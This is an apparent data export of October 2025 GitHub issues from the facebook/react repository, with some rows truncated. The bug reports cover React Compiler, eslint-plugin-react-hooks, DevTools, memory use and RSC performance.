- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

.

### Repro steps

Thank you for releasing React Compiler 1.0, that's a huge milestone! _Congrats!_

""1.0"" certainly has marketing value, but it is somewhat problematic in this case. Previously there were multiple pre-releases coupled to React in the 19.x range. I get that React Compiler is independent from React, so that's why you probably chose a new versioning scheme, and since the 19.x range was never marked as `latest`, new users can just install `1.0.0` and get on with it.

However, existing users won't be notified by their package manager (or dependabot etc.) as they will see `1.0.0` as a downgrade for any users of the `19.x` versions. I saw that 1.0 was announced and it took me a while to figure out how to upgrade to it. This means that most existing users have to learn about this update outside of their package manager.

It's also confusing when looking at the package metadata, since the 19.x versions are still tagged as `rc` and `beta`, making them look newer than `1.0.0`.

<img width=""912"" height=""744"" alt=""Image"" src=""https://github.com/user-attachmen... [TRUNCATED]","Type: Bug,Status: Unconfirmed,Component: React Compiler",2025-10-08T11:02:46Z,2026-05-18T13:18:03Z,0
facebook/react,3494440821,Bug: `console.timeStamp` is not a function on v19.2.0,"After updating `react` and `react-dom` from `19.1.0` to `19.2.0`, I'm getting the following error on Chrome:

```
Uncaught TypeError: console.timeStamp is not a function
```

The error is thrown from [this line](https://github.com/facebook/react/blob/848e0e3a4f12022d396ddbc2b52fd8fa7ac31fa9/packages/react-reconciler/src/ReactFiberPerformanceTrack.js#L66).

When using `console.timeStamp()` in the console (while staying on the app), I get the same error. When using the same command on another Chrome tab (outside of the app) or on Firefox, I get `undefined` and no error.

Downgrading back to `19.1.0` fixes the issue.

**React version:** `19.2.0`
**Chrome version**:  141.0.7390.66 (Official Build) (64-bit)
",Status: Unconfirmed,2025-10-08T08:34:27Z,2025-10-09T05:36:33Z,5
facebook/react,3493855003,Bug: Massive memory allocations using React dev build under frequent updates (prod build unaffected),"React dev build has a memory issue where under frequent updates memory footprint grows from ~100 MB to 1 GB within 5 minutes in a simple reproduction app. The JS heap remains stable at ~50 MB. Production builds are unaffected. Or I might have introduced a bug which is reproducible in dev only.

## Reproduce

1. Run: https://github.com/dokugo/react-dev-memory-leak
This repo replicates behavior I have in one of my apps. It's a virtualized table with 400 rows and 10 cols. Every second the last row is removed and one new row is prepended. Also a random 50% of total cells are updated and re-rendered (increased the amount for faster reproduction).

2. Do nothing and wait a few minutes, see ""memory footprint"" in Chrome task manager, or ""memory"" in Firefox about:processes grow from ~100MB to 1GB in a few minutes, while actual JS memory heap stays lean and stable.

3. While app is running: Chrome DevTools > Memory > Allocation instrumentation on timeline (Allocation stack traces checked). Allocation timeline points to React internals, probaby their allocations aren't promptly GC'd. Perhaps some dev mode instrumentation? Or maybe has something to do with detached nodes?

4. See top offenders (all from react-dom-client.development.js). Data from the screenshot below:
- addValueToProperties > addObjectDiffToProperties: 20 million objects allocated, +610MB
- logComponentRender > commitPassiveMountOnFiber, recursivelyTraversePassiveMountEffects: 3.9M obj, 186MB
- repeat > addValueToPropert... [TRUNCATED]",Status: Unconfirmed,2025-10-08T05:09:16Z,2025-10-13T21:42:15Z,20
facebook/react,3493616428,Bug: ViewTransition animations broken when using React Portal,"When using React's `ViewTransition` component with `createPortal`, the view transition animations cause content that should be behind a modal dialog to appear on top of it during the transition. The background content (like buttons) becomes visible over the modal content, breaking the expected visual hierarchy.

This issue does not occur when the same content is rendered without `createPortal` - the animations work smoothly and maintain proper visual layering.

React version: 19.3.0-canary-3025aa39-20251007

## Steps To Reproduce

1. Create a React component with `ViewTransition` wrapping the main content
2. Add a modal dialog that uses `createPortal` to render to `document.body`
3. Include a `startTransition` call when opening/closing the modal
4. Trigger the modal open/close action
5. Observe the layering issue during the view transition

Link to code example:

https://github.com/nikhilsnayak/view-transition-react-portal-bug

https://codesandbox.io/p/sandbox/flamboyant-fire-fqz24d

```jsx
import { ViewTransition } from 'react';
import { startTransition, Suspense, use, useState } from 'react';
import { createPortal } from 'react-dom';

export default function App() {
  const [isOpen, setIsOpen] = useState(false);

  return (
    <ViewTransition>
      <div className='app-container'>
        <button
          className='open-button'
          onClick={() => {
            startTransition(() => {
              setIsOpen(true);
            });
          }}
        >
          Cl... [TRUNCATED]","Resolution: Stale,Resolution: Expected Behavior",2025-10-08T02:43:36Z,2026-03-24T15:28:16Z,5
facebook/react,3491609734,[Compiler Bug]: React Compiler does not compile a component if it contains a reference to Object.entries within a try block within an async function,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAHQHaYJYFsAOEMALgAQBKCAhnMQDSnClRgIDKxVxCpAvqQDMYEXKTQgY1WuIDcmTAKgZa2CBlIAxIrgDq2YgAsA8gCMAVglobhuAKIZiMbAjAAKJgOcAbACZg+AJSMmKSkcGpgZAZUGD5e7FAmuPqkALykVGAAnsqkrggAbggOQakAfMFYxI5ZlWhkoQJEeeEYkaQA2gDWCFkMBVReUAgAuqQQAqSmFrQAdMWOzm6eCL5gAUHA8sT1rZDxs14QAOauPX2kHE4YpwNDCBtyVbzb-HBccAZ5D3XEL+p8J4hUiSYiwdSuYGhAA8Jig1TUpGIWXwCFS4jhCKwIHGGAAwl5sHAuqlgNFYvE2Ilkn8ylSkvpoQB6THENRlYEBJ7-TAIAAehBIpB8CAEVCgXjIWhgun0xnMlmI1hE9kWLhkIDoIFanmOKBAeEFZGRqMYpAACkNjtgMEZ8MRVG0+IIbKQAOQmKgmVYAWnwVptPskNGIPvCBGw8RgTJ82EibqBGHcwKZTPD+EjXEdAFkICLkGIQIMvOJMPwwFmwCt-JaoNbbfbHesNVqwAYIAB3ACSDgQMAwgzAKDFXlYvCAA

### Repro steps

1. Go to https://playground.react.dev/ (make sure to clear your site data before loading this, because it likes to autosave your code, even if it causes the sandbox to crash)
2. Paste the following
```
import React, { useState } from ""react"";

function FormWithObjectFromEntries({ fields }) {
  const handleSubmit = async (event) => {
    try {
      for (const [key, value] of Object.entries(fields)) {
        console.... [TRUNCATED]","Component: React Compiler,Compiler: todo",2025-10-07T13:55:32Z,2026-02-04T03:24:44Z,8
facebook/react,3487757433,[DevTools Bug] Cannot read properties of undefined (reading 'local'),"### Website or app

private

### Repro steps

I clicked on ""Debug"" in the settings.

### How often does this bug happen?

Every time

### DevTools package (automated)

react-devtools-extensions

### DevTools version (automated)

6.1.5-5d87cd2244

### Error message (automated)

Cannot read properties of undefined (reading 'local')

### Error call stack (automated)

```text
at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1622093
    at Ce.emit (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1203343)
    at Ce.updateHookSettings (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1245654)
    at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1449977
    at commitHookEffectListMount (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:129190)
    at commitPassiveMountOnFiber (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:160553)
    at recursivelyTraversePassiveMountEffects (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:160187)
    at commitPassiveMountOnFiber (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:160621)
    at recursivelyTraversePassiveMountEffects (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:160187)
    at commitPassiveMountOnFiber (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:160621)
```

### Error component stack (automated)

```text
at DebuggingSettings (chr... [TRUNCATED]","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2025-10-06T15:08:05Z,2025-10-08T13:04:38Z,1
facebook/react,3486116981,Bug: RSC `renderToReadableStream/createFromReadableStream` gets stuck for certain objects on development,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19.2

(This didn't reproduce on 19.1.1. Based on old reproduction https://github.com/hi-ogawa/react-router-templates/commit/e6eddd0a3393a2379f238224be1fc85d71efd2c9, it reproduced since at least 19.2.0-canary-19baee81-20250725.)

## Steps To Reproduce

When serializing and deserializing certain objects with the same object reference as a property and as a prop, `createFromReadableStream` gets stuck.

```tsx
import { renderToReadableStream } from ""react-server-dom-xxx/server.edge"";
import { createFromReadableStream } from ""react-server-dom-xxx/client.edge"";

async function test1() {
  // serialize same `obj` reference as top-level object and as prop
  const obj = {};
  function Test(_props: { obj: {} }) {
    return ""test"";
  }
  const original = {
    obj: obj,
    node: <Test obj={obj} />,
  }
  console.log(""[original]"", original);
  const stream = renderToReadableStream(original);
  console.log(""[stream]"", stream);
  const restored = await createFromReadableStream(stream); // 👈 this gets stuck
  console.log(""[restored]"", restored);
}
```

Interestingly, it works if the order of properties are flipped, for example:

```tsx
  const original = {
    node: <Test obj={obj} />,
    obj: obj,
  }
```

This happens only on development. I... [TRUNCATED]",Status: Unconfirmed,2025-10-06T08:04:34Z,2025-10-27T21:06:30Z,0
facebook/react,3486088032,[Compiler Bug]: Unclear preserve-manual-memoization error message.,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAjggDswDcIAZCOAQwBsBhWgW01oEsBzY-AXnwAKADq9Crdt2LJ81OkwmceAJQgB3fAB98xKPXoAaUQEoZchszZLe23fv4A+UfnFWp+AGQfnL15J4AdAAmHABmoRxwergAnvgAhAJ29J7eYi50boEcQak+GYpSAfQIAG4I9GB56X7WAcSsCNW+tUXEGARe+a2B6u0wVV01mf7EAWD0UFzNviN1uLRcYN0A-PjA3S5BCGBwMByYuBwkMnNF27v7h8c22gDkd0Y1W2ERUfSxp4WBIeGR0TEni0XDkvlkxjkgcCSuVKmDRsUyhUwFCWg0WAh4XV0QhUb52uhcFi2h08S4JlNiYEKVw8QBfboyZIAblEogw2Dw+FCUGIcCOJHwUDACHMCnBACEYgBlSZcQQ0mRkfbELimWQ0CzfGw6PQpDZiIikAhnHhVATChAAFVoACMSoI7qbiHdjKyxDAELhYLxLQBZBAsCCCQTGRzrbqhHBCI1kfA5fAQUL4ADytoAVgh+QEANYIGJgQTOsDGMMG4GEEhx538HqkADaOQAuu6K2EY9rxnL+HwBDSy5tfJ7vTBeBQxZZRkXtW7BwyavOWsOfbr9K38HSDPh68WtzSm7PiPOQAYQEaIlwUCAOGwcOQYpgmsB8AAFOUcYgp65VjfcmAQFh8DuW07QqABaTB32IMDPVofkwKINgOBKGAAHoQjIO53VEQRy3wVDUMQzBkNoAViD9CBthkYQQAYegaJ8BBiFKDh-2IDFiCJCNiG6Ji7RKF9PRFGBygAUXQDgyA-LgAyDDgAC9SJuABxKBaBgWhOIQHYZFwGAoFxbpSgYHJSIQQSdgQESEHEySjlVWSIAUpSSFU9TNNwbSwF0-SEB8ec6XwMAlLACIdlfdSjgYAAeN8pg-L8yLABw3RPcAAAt1AASS00cGDAFBQnyhA6SAA

### Repro steps

The above example calls a module-local function `return toLocal... [TRUNCATED]","Type: Bug,Component: React Compiler",2025-10-06T07:54:04Z,2026-05-18T13:26:42Z,1
facebook/react,3486042632,[Compiler Bug]: The compiler cannot handle callbacks which reference themselves.,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgBMEAzAQygBsCSoA7OXASwjvyjAQAkIIBrABQBKfMAA6bfHFZgCrAIKZMMCADcEhfAF52nAMJlKlAEZk4g4doB8oifnv5OuAMq4yuBALpVKQgNx2DgCS8gAKAPwAdLI4CFEQJCQCCkoq6oT+gQC+ADT4ANohEdG4sQC6mXRZEiA5INJ0JEwA5iggTAC22Hj4uACemAii+KGUUM1MdADymMwy+Fn4JCod+ADkpsYIlAC0mGMTdDswCGa4O9JdTJQIMAD0hEyyawF0EgLiknd3l5jX7iw6ABZCDEZD4MQgQyUSGBBB0VRMFR0Drw3Dgz6BezwsjGG6hE6cGDqACi6CezDozSBCA6ECYAC8AawAOJQMgwMh0DwIMDg3AwKAIHJY-CqQxMQjuBAE3m3Unk2STam0+lMuZ0Nkcrk8vm9QUIbISRZgAFgJq8kYc5iGAA8o3GkxmGrAVn8tXAAAsIAB3ILc250QxgFDkSicLJAA

### Repro steps

If you have a pattern where a function memoized with `useCallback` refers to its own binding outside of the `useCallback` call, React Compiler will say that the variable is accessed before it is defined. However, all other JavaScript tooling can handle this use-case. It would be great if the React Compiler could handle this too.

### How often does this bug happen?

Every time

### What version of React are you using?

latest

### What version of React Compiler are you using?

latest","Type: Bug,Status: Unconfirmed,Component: React Compiler",2025-10-06T07:38:05Z,2026-05-18T13:26:32Z,1
facebook/react,3486006104,[Compiler Bug]: `startTransition` shouldn't be required as a dependency for `useCallback`.,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgBMEAzAQygBsCSoA7OXASwjvwCUFswnccBPAMJkYhABTAAOm3wwuEHnxj9ks+YoEBpBPwA00-PgBuTBAHcEMVSfOXte6QF9VUmXO68Bqzh6VCRhAD67gqeygAkANY6ANwGxqYWVhzqYf6igTZJUbFOAJT4roZwrGAEANq6+GUiuAAqMGR0iix0ALr4ALz4UGAIDU0trGJ5cTIlzQRyJAi4cAAWnCRdPX1L+AA8KTNz8wBSEABGADJMZQBibAA++HRUlPgAfPhid5SUo-ETZWq+Aiu9BDnRoAcwAtgg6LgxPFDCDGph5gBHSgAA1hhnwJFBEKhKT+ymEGRCGmU+FY+NCfkKGMx+CYhFpmMoEDgZEoCDATMMcjIhH4AGVcGRcAhudVhbhetJxQA6eU+KkCAASCD5lmCqT8cvlBxOZ1wmoJ-HwAAERCCoLjcGAxCV6LhVABGAAMeSZjgxqP0Mh5Wq0Oh9hk+dC+pQqfMIitJ-GOrPZCCqkejaTjbI5AEkwBm6OdKEwQfNcB1OhjAQBZKCS1qbSkxomEACChCj-uUaYTlerFOeYnhZERKPRvsxYKrIprKb8DebreNHY5XYnw3F4RJaVUGYAIgBCVcs9MIVRCmBMOggvcj4M0q+Y5Nt2Pxjlidd+VRrh9VA8J9-fjkFIo6SA+VZSnAQGyNJVlHFT1b1gulURDMNJnJOhZzA9snwQAE+mEd5DjIOBIhhEcxD-I8JVPc8Ck6Z5ALpJhljEHd73nLCsxzPMCyLADxVYqDH0PCRxUMVhBAgMFMA5UVCFUEYujokTMRqPABmaXhWjEeTaJvIC9MxaZZgWJZZTgWA5ChAB+WVhNvfTMXtKFnRdIN7P0syYEgZI3koVy3MxRwQ38wxArGfzHD8-SjBEJgyEODkwBcJTDHIyL7NfLxfgE2UGTSoCIpgoL8oxAqR3KJl+JjBdEwqlsMMEhMONzfNC1wPKMuUHLCEitpXKQtxZlgNhWHQh9qrGWCQF0EAJhIAsUBAJhJJwAhcH4... [TRUNCATED]","Type: Bug,Status: Unconfirmed,Component: React Compiler",2025-10-06T07:24:39Z,2025-10-15T16:45:07Z,1
facebook/react,3485376859,Bug: eslint-plugin-react-hooks@6.1.1 does not export config types correctly,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

- rel: #34705

React version: 19.2.0

## Steps To Reproduce

1. Install eslint-plugin-react-hooks@6.1.1
2. Import `reactHooks.configs['recommended-latest']` in eslint.config.js with ts-check enabled
3. TypeScript outputs an error stating that there is no type named config in reactHooks.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

- https://github.com/eai04191/eslint-plugin-react-hooks-config-exports-repro
- https://github.com/eai04191/eslint-plugin-react-hooks-config-exports-repro/actions/runs/18266988284/job/52002848851

<img width=""2148"" height=""1714"" alt=""Image"" src=""https://github.com/user-attachments/assets/42e4ebf3-0e97-42e4-82cd-bba4cc01e6ca"" />

In 6.1.1, the plugin object with meta, rules, and configs is exported as the default, but TypeScript does not seem to recognize this.

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report.... [TRUNCATED]",Status: Unconfirmed,2025-10-06T01:07:38Z,2025-10-06T04:53:22Z,0
facebook/react,3484315479,Bug: Cannot assign to read only property 'params' of object '#<Object>',"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19.0.0
Next.js version: 15.4.7

## Steps To Reproduce

1. `npm run dev`
2. Open the web page

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example: https://github.com/opanel-mc/opanel/tree/main/frontend
This issue may have something to do with this file: https://github.com/opanel-mc/opanel/blob/f1be02ab930454dad91a5415cda25d8763f83662/frontend/lib/settings.ts

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior
Throw the error `Cannot assign to read only property 'params' of object '#<Object>'` when opening the page

The stacktrace:
<img width=""1520"" height=""1184"" alt=""Image"" src=""https://github.com/user-attachments/assets/38bf5779-0f6b-43d5-a863-ca60a77f9b37"" />

**Note:** This error doesn't affect other features a... [TRUNCATED]",Status: Unconfirmed,2025-10-05T02:27:17Z,2025-10-08T04:56:33Z,1
facebook/react,3483789588,Bug: eslint-plugin-react-hooks@6.1.1 TypeError: Converting circular structure to JSON,"After updating `eslint-plugin-react-hooks` to version `6.1.1`, running `eslint .` throws an error caused by a circular reference inside the configuration object.

React version: 19.2.0

## Steps To Reproduce

1. `git clone https://github.com/mikaelbalin/mikaelbalin.github.io`
2. `cd mikaelbalin.github.io` 
3. `pnpm i`
4. `pnpm lint`

Link to code example: https://github.com/mikaelbalin/mikaelbalin.github.io

## The current behavior

Running `eslint .` fails with the following error:

```
TypeError: Converting circular structure to JSON
    --> starting at object with constructor 'Object'
    |     property 'configs' -> object with constructor 'Object'
    |     property 'flat/recommended' -> object with constructor 'Array'
    |     ...
    |     property 'plugins' -> object with constructor 'Object'
    --- property 'react-hooks' closes the circle
```

## The expected behavior
ESLint should run normally and display linting warnings/errors without crashing. Including or extending the `react-hooks` plugin or its recommended config should not introduce a circular reference in the ESLint configuration object.",Status: Unconfirmed,2025-10-04T14:22:19Z,2025-10-28T16:56:42Z,16
facebook/react,3483464303,Bug: useEffect fails to fire for every render under extreme conditions,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19.1.0

## Steps To Reproduce

mount this component, look at console. Refresh a few times.

Refreshing produces different output every time. it's fine that different numbers of renders happen due to behind-the-scenes batching, but my understanding is that renders and effects should be 1-to-1 with no dependency array.

I also have no idea why different values of timeout seem to be relevant.

Caused a real-world bug recently where I had a forceUpdate() in an event subscriber that was busy on init in a custom hook, with queries firing simultaneously to rerender the consumer of that hook.

```

import { useEffect, useReducer } from ""react"";

export default function App() {
  const [_, forceUpdate] = useReducer((x) => !x, false);

  useThrash();

  console.log(""RENDER"");
  useEffect(() => {
    console.log(""EFFECT"");
  });

  useEffect(() => {
    setTimeout(() => {
      forceUpdate();
    }, 10);
  }, []);
}

const useThrash = () => {
  const [_, forceUpdate] = useReducer((x) => !x, false);
  useEffect(() => {
    setTimeout(() => {
      forceUpdate();
      forceUpdate();
      forceUpdate();
      forceUpdate();
      forceUpdate();
      forceUpdate();
      forceUpdate();
      forceUpdate();
      forceUpdate();
      forceUpdat... [TRUNCATED]","Resolution: Stale,Resolution: Expected Behavior",2025-10-04T09:29:11Z,2026-01-09T18:09:02Z,5
facebook/react,3483340717,Bug: Using the new <Activity> component inside AnimatePresence (Framer Motion),"React version: 19.2.0

## Steps To Reproduce

1. Wrap a component in the new React <Activity> component for conditional visibility:

`<Activity mode=""visible"">
  <Component />
</Activity>
`

2. Try to animate this visibility change using Framer Motion’s <AnimatePresence>:

`<AnimatePresence>
  <Activity mode={open ? ""visible"" : ""hidden""}>
    <motion.div exit={{ opacity: 0 }}>
      <Component />
    </motion.div>
  </Activity>
</AnimatePresence>
`

Observe that AnimatePresence expects children to be conditionally rendered (e.g., {open && <Component />}) for enter/exit animations to trigger.

## The current behavior

When wrapping motion elements with <Activity>, Framer Motion’s AnimatePresence does not detect mounting/unmounting changes — because <Activity> toggles visibility internally (using display: none and subscription unmounting) instead of actually adding/removing children from the React tree.
As a result, exit animations do not trigger.

## The expected behavior

Ideally, <Activity> would expose some API or compatibility layer to integrate with animation libraries like Framer Motion that depend on conditional rendering for entry/exit transitions — or React could provide guidance on how to handle this scenario correctly.","Status: Unconfirmed,Resolution: Stale",2025-10-04T07:14:31Z,2026-02-10T13:34:16Z,4
facebook/react,3482649861,RSC SSR performance,"Hello!

I'm really like Server Components!

In my day job I do a lot of SSR and Server Components allows make it much simpler and faster.

But when I've switched from regular `renderToPipeableStream` to RSC SSR  I've noticed a decrease in server throughput, from 329 to 29 RPS, and an increase in response timings. I've also noticed decrease in server throughput of flight request from 329 to 104 RPS in comparison to `renderToPipeableStream`.

## Steps To Reproduce

I've create a [demo repo](https://github.com/WIVSW/rsc-ssr-perf-test) which illustrates the issue by benchmarking RSC SSR on React 19.1.1, Node.js 22 and Parcel 2.15.4. 

For benchmarking i'm using [parcel SSR implementation](https://github.com/parcel-bundler/parcel/blob/85181f71eee08f36b16d3ae81d12f32d076953f0/packages/utils/rsc/src/server.tsx#L39-L57) because it short and straightforward but the issue presents in Next.js also. Parcel approach looks similar to this:
```tsx
import {renderToReadableStream} from 'react-server-dom-parcel/server.edge';
import {injectRSCPayload} from 'rsc-html-stream/server';
import {createFromReadableStream} from 'react-server-dom-parcel/client.edge';
import {renderToReadableStream as renderHTMLToReadableStream} from 'react-dom/server.edge';

async function renderHTML(root: any): Promise<ReadableStream> {
  // serialize react tree to flight stream
  let rscStream = renderToReadableStream(root, options);

  // Use client react to render the RSC payload to HTML.
  let [s1, s2] = rscStream.... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-10-03T21:44:40Z,2026-01-12T13:19:07Z,3
facebook/react,3480465351,[DevTools Bug] Cannot read properties of undefined (reading 'local'),"### Website or app

Uncaught Error: Cannot read properties of undefined (reading 'local')

### Repro steps

[DevTools Bug] Cannot read properties of undefined (reading 'local')

### How often does this bug happen?

Every time

### DevTools package (automated)

react-devtools-extensions

### DevTools version (automated)

6.1.5-5d87cd2244

### Error message (automated)

Cannot read properties of undefined (reading 'local')

### Error call stack (automated)

```text
at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1622093
    at Ce.emit (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1203343)
    at Ce.updateHookSettings (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1245654)
    at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1449977
    at commitHookEffectListMount (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:129190)
    at commitPassiveMountOnFiber (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:160553)
    at recursivelyTraversePassiveMountEffects (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:160187)
    at commitPassiveMountOnFiber (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:160621)
    at recursivelyTraversePassiveMountEffects (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:160187)
    at commitPassiveMountOnFiber (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/ma... [TRUNCATED]","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2025-10-03T09:35:26Z,2025-10-15T02:38:06Z,3
facebook/react,3479811360,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-10-03T05:08:35Z,2025-10-03T16:03:27Z,0
facebook/react,3479543806,Bug: eslint-plugin-react-hooks@6.1.0 does not export config types,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19.2.0

## Steps To Reproduce

1. Install eslint-plugin-react-hooks@6.1.0
2. Import `reactHooks.configs['recommended-latest']` in eslint.config.js with ts-check enabled
3. TypeScript outputs an error stating that there is no type named config in reactHooks.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

https://github.com/eai04191/eslint-plugin-react-hooks-config-exports-repro

<img width=""2231"" height=""1439"" alt=""Image"" src=""https://github.com/user-attachments/assets/a441dc4c-26a8-4aaf-b1b0-22605fc3dce6"" />

In 5.2.0 the config type is correctly defined ([ecaad30](https://github.com/eai04191/eslint-plugin-react-hooks-config-exports-repro/commit/ecaad3096d0301d9579919ed74ee120c4447167b))

<img width=""2231"" height=""1439"" alt=""Image"" src=""https://github.com/user-attachments/assets/d6c1abe8-f572-40c8-a547-8577d5a02c48"" />

In 6.1.0 the type of config is defined as {} ([91b8f13](https://github.com/eai04191/eslint-plugin-react-hooks-config-exports-repro/commit/91b8f135192ad316164853009e6217c26dc0c452))

<img width=""2231"" height=""1439"" alt=""... [TRUNCATED]",Status: Unconfirmed,2025-10-03T02:29:34Z,2025-10-03T22:58:17Z,5
facebook/react,3479030026,Bug: Support Zod v4 in eslint-plugin-react-hooks,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:
N/A (ESLint issue)

## Steps To Reproduce

1. Install `eslint@9.36.0` with `eslint-plugin-react-hooks@6.1.0` in a project that also uses `zod@4.x`.
2. Run ESLint on any file.
3. Observe the crash.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

Minimal reproduction:

```bash
npm init -y
npm i -D eslint@9.36.0 eslint-plugin-react-hooks@6.1.0 zod@4
npx eslint --init
npx eslint index.js
```

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior

ESLint crashes with:

```
TypeError: zod.z.function(...).args is not a function
    at eslint-plugin-react-hooks.development.js:32075:57
```

This happens because `eslint-plugin-react-hooks` is written against Zod v3, where `z.function(...).args(...)` exists. In Zod v4, t... [TRUNCATED]","Type: Bug,Component: React Compiler,Component: ESLint Rules",2025-10-02T21:37:46Z,2025-10-03T22:56:39Z,1
facebook/react,3478506464,Bug: OOM when passing reference to big Uint8Array as component props,"When as a component props I pass an object with reference to something big like big Uint8Array this cause OOM in browser (at least in dev mode). On React 19.1 it works fine.

React version: 19.2

## Steps To Reproduce

1. Create component which accept props for example `{data: {buffer: Uint8Array}}` - needs to be nested in additional object wrapper.
2. Render dozens of such components. Note: I point to the same Uint8Array buffer instance so the only memory cost here is object wrapper.
3. Wait second or two and tab is frozen, later it's killed by the browser.

Link to code example:
https://github.com/huberty89/react-19.2-oom-poc

## The current behavior
OOM which cause browser tab crash.

## The expected behavior
No OOM",Status: Unconfirmed,2025-10-02T18:30:48Z,2025-10-05T23:13:24Z,7
facebook/react,3477933132,Bug: eslint-plugin-react-hooks installes unmaintained @babel/plugin-proposal-private-methods,"I see that you've decided to release the new major with the babel toolchain included. :(
Would be nice if it didn't install unmaintained babel plugins.

Steps to reproduce:
```sh
mkdir plugin-issue
cd plugin-issue
npm init -y
npm i eslint eslint-plugin-react-hooks
```

Shows:
